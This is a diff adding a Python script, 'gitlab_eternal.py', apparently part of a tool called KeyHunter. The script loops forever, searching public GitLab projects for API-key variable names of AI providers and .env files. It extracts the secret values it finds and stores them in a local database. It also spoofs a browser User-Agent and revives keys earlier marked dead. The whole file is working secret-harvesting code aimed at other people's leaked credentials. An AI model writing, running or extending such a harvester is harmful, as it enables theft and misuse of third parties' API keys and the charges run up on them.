KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

gitlab_eternal.py

@@ -0,0 +1,159 @@
+"""ETERNAL GitLab hunt (80% conversion source) — standalone process.
+Project search -> per-project blob-search grep. Logs gitlab_eternal.log."""
+import os
+KF_BASE = os.path.dirname(os.path.abspath(__file__))
+os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
+import sqlite3
+import sys
+import time
+import hashlib
+import os
+import urllib.request
+import urllib.parse
+import urllib.error
+from key_patterns import scan_text
+
+sys.path.insert(0, os.path.join(KF_BASE, "src"))
+
+# Ignore env proxies (LANE_CONTRACT §4, trust_env-equivalent for urllib):
+# ProxyHandler({}) does NOT fall back to getproxies_environment().
+urllib.request.install_opener(
+    urllib.request.build_opener(urllib.request.ProxyHandler({})))
+
+DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
+LOG = os.environ.get("KF_LOG") or os.path.join(KF_BASE, "gitlab_eternal.log")
+UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
+
+SEARCH_QUERIES = [
+    "DASHSCOPE_API_KEY", "ZHIPU_API_KEY", "ZAI_API_KEY",
+    "OPENROUTER_API_KEY", "MOONSHOT_API_KEY", "KIMI_API_KEY",
+    "DEEPSEEK_API_KEY", "REPLICATE_API_TOKEN", "TOGETHER_API_KEY",
+    "FIREWORKS_API_KEY", "NVIDIA_API_KEY", "COHERE_API_KEY",
+    "GROQ_API_KEY", "SILICONFLOW_API_KEY", "ELEVENLABS_API_KEY",
+    "STABILITY_API_KEY", "ANTHROPIC_API_KEY", "OPENAI_API_KEY",
+    "filename:.env", "docker-compose",
+]
+
+MAX_DEPTH = 200_000
+
+
+def log(msg):
+    line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
+    print(line, flush=True)
+    with open(LOG, "a", encoding="utf-8", errors="replace") as f:
+        f.write(line)
+
+
+def fetch(url, timeout=20):
+    for attempt in (0, 1):
+        try:
+            req = urllib.request.Request(url, headers=UA)
+            with urllib.request.urlopen(req, timeout=timeout) as r:
+                return r.read().decode(errors="replace")
+        except urllib.error.HTTPError as e:
+            if e.code == 429 and attempt == 0:
+                log("429 rate-limited, backoff 60s")
+                time.sleep(60)
+                continue
+            raise
+
+
+def fetch_json(url, timeout=20):
+    import json
+    return json.loads(fetch(url, timeout))
+
+
+def db_add_key(cur, seen, key, prov, repo):
+    if isinstance(key, tuple):
+        key = key[0]
+    if key in seen or len(key) < 25:
+        return 0
+    seen.add(key)
+    cur.execute(
+        "INSERT INTO keys (hash, val, prov, status, found, repo) "
+        "VALUES (?,?,?,?,?,?) "
+        "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
+        "WHERE keys.status IN ('DEAD','ERR')",
+        (hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW",
+         "gitlab", repo))
+    return 1
+
+
+def blob_term(q):
+    """Env-name queries double as blob-search terms; generic else."""
+    return q if "_" in q else "api_key"
+
+
+def blob_search(pid, term):
+    try:
+        return fetch_json(
+            f"https://gitlab.com/api/v4/projects/{pid}/search"
+            f"?scope=blobs&search={urllib.parse.quote(term)}&per_page=20")
+    except Exception as e:
+        log(f"  blob_search {pid} {term!r}: {str(e)[:60]}")
+        return []
+
+
+def scan_project(cur, seen, pid, name, term):
+    """GitLab-side grep: /search?scope=blobs returns matched lines in 'data'."""
+    n = 0
+    for h in blob_search(pid, term):
+        data = h.get("data", "")
+        path = h.get("path", "?")
+        if len(data) > MAX_DEPTH:
+            continue
+        for prov, key in scan_text(data):
+            if len(key) < 25:
+                continue
+            if db_add_key(cur, seen, key, prov, f"{name}/{path}"):
+                n += 1
+                log(f"  + {prov} {key[:24]}... {name}/{path}")
+        time.sleep(0.3)
+    return n
+
+
+def cycle(db, qi):
+    cur = db.cursor()
+    cur.execute("SELECT val FROM keys")
+    seen = {r[0] for r in cur.fetchall()}
+    total = 0
+    for i in range(3):
+        q = SEARCH_QUERIES[qi % len(SEARCH_QUERIES)]
+        qi += 1
+        try:
+            projects = fetch_json(
+                "https://gitlab.com/api/v4/projects?search="
+                + urllib.parse.quote(q.replace("_API_KEY", "").replace("filename:", "").lower())
+                + "&per_page=20&order_by=last_activity_at&sort=desc&simple=true")
+        except Exception as e:
+            log(f"search {q!r} err: {str(e)[:60]}")
+            continue
+        log(f"query {q!r}: {len(projects)} projects")
+        for p in projects[:12]:
+            pid, name = p.get("id"), p.get("path_with_namespace", "?")
+            try:
+                n = scan_project(cur, seen, pid, name, blob_term(q))
+                total += n
+            except Exception as e:
+                log(f"  project {name} err: {str(e)[:50]}")
+            time.sleep(1.2)
+        time.sleep(3)
+    db.commit()
+    return total, qi
+
+
+def main():
+    log(f"=== gitlab eternal START pid={__import__('os').getpid()} ===")
+    db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
+    qi = 0
+    while True:
+        try:
+            n, qi = cycle(db, qi)
+            log(f"CYCLE done: +{n}; resting 5min")
+        except Exception as e:
+            log(f"cycle error (continuing): {e}")
+        time.sleep(300)
+
+
+if __name__ == "__main__":
+    main()